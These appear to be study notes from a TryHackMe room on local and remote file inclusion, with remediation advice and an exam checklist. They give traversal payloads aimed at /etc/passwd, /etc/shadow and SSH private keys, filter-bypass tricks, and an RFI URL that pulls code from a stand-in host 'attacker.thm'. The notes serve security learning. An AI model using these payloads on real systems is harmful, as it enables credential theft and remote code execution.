File Inclusion (LFI/RFI) TryHackMe

Overview

File inclusion vulnerabilities happen when a web app uses user-controlled input to build file paths (or URLs) that get loaded by the server. This can lead to information disclosure (source code, credentials) and sometimes RCE (via log poisoning, file upload + include, wrappers, or RFI).

Core root cause: missing input validation + trusting user-supplied path/filename.

1) Directory Traversal (Path Traversal)

Directory traversal lets you read files outside the intended directory by using ../ sequences ("dot-dot-slash").

Example entry point: get.php?file=

Linux: ../../../../etc/passwd

Windows: ../../../../windows/win.ini

http://webapp.thm/get.php?file=../../../../etc/passwd

Common target files (high value)

/etc/passwd, /etc/shadow, /etc/issue
/proc/version
/root/.ssh/id_rsa, /home/<user>/.ssh/id_rsa
Web logs: /var/log/apache2/access.log
Windows: C:\boot.ini, C:\windows\win.ini

2) Local File Inclusion (LFI)

LFI often appears in PHP apps using include/require with a parameter like lang or page.

Case A: direct include (no directory)

// vulnerable idea
include($_GET["lang"]);

# exploit
/index.php?lang=/etc/passwd

Case B: include from a fixed directory

// vulnerable idea
include("languages/" . $_GET["lang"]);

# exploit
/index.php?lang=../../../../etc/passwd

Exam note: even with a fixed prefix directory, traversal still works if input is not normalized/validated.

3) Black-box exploitation: learn from errors

Error messages often reveal:

the include pattern (prefix/suffix like languages/ or .php)
the full path on disk (helps count how many ../ you need)

Example hint: include(languages/THM.php) tells you “.php is appended”.

4) Bypass patterns (filters & suffixes)

Suffix appended (e.g., .php): older trick is null byte %00 (mostly fixed in modern PHP).
Keyword filtering (e.g., blocks ../): try bypass patterns like ....// repeated.
Path tricks: sometimes /etc/passwd/. style current-dir tricks bypass naive filters.

Reality check: many “classic” bypasses depend on versions and exact code. Use them as hypotheses, not guaranteed wins.

5) Remote File Inclusion (RFI)

RFI is when the include function accepts a remote URL. It typically requires PHP settings like allow_url_fopen (and often allow_url_include) to be enabled.

Risk: RFI can become RCE because you execute attacker-controlled remote content in the server context.

# example concept
/index.php?lang=http://attacker.thm/cmd.txt

6) Remediation (what to say in a report)

Strict allowlist for allowed files/pages (not a blacklist)
Normalize and validate paths server-side (reject traversal)
Disable verbose errors in production
Harden PHP settings (disable unneeded URL include features)
WAF as a mitigation, not a fix

Exam Notes (PT1) — LFI/RFI Checklist

Find entry point: ?file=, ?page=, ?lang=, cookies, headers.
Try known files first: /etc/passwd, /proc/version, win.ini.
Use errors to infer prefix/suffix and base path.
Test traversal depth (more ../), then try filter bypass patterns.
If you can write to disk (upload/log poisoning), test include-to-RCE chain.